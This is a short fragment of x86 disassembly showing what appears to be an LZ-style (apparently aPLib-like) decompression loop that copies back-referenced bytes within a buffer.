jb 0x104b6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104b6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104b613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104b614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104b6136
cmp eax, 0x7d00
jae 0x104b616d
cmp eax, 0x500
jb 0x104b6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104b6075
cmp eax, 0x7f
ja 0x104b6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104b6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104b619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104b6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10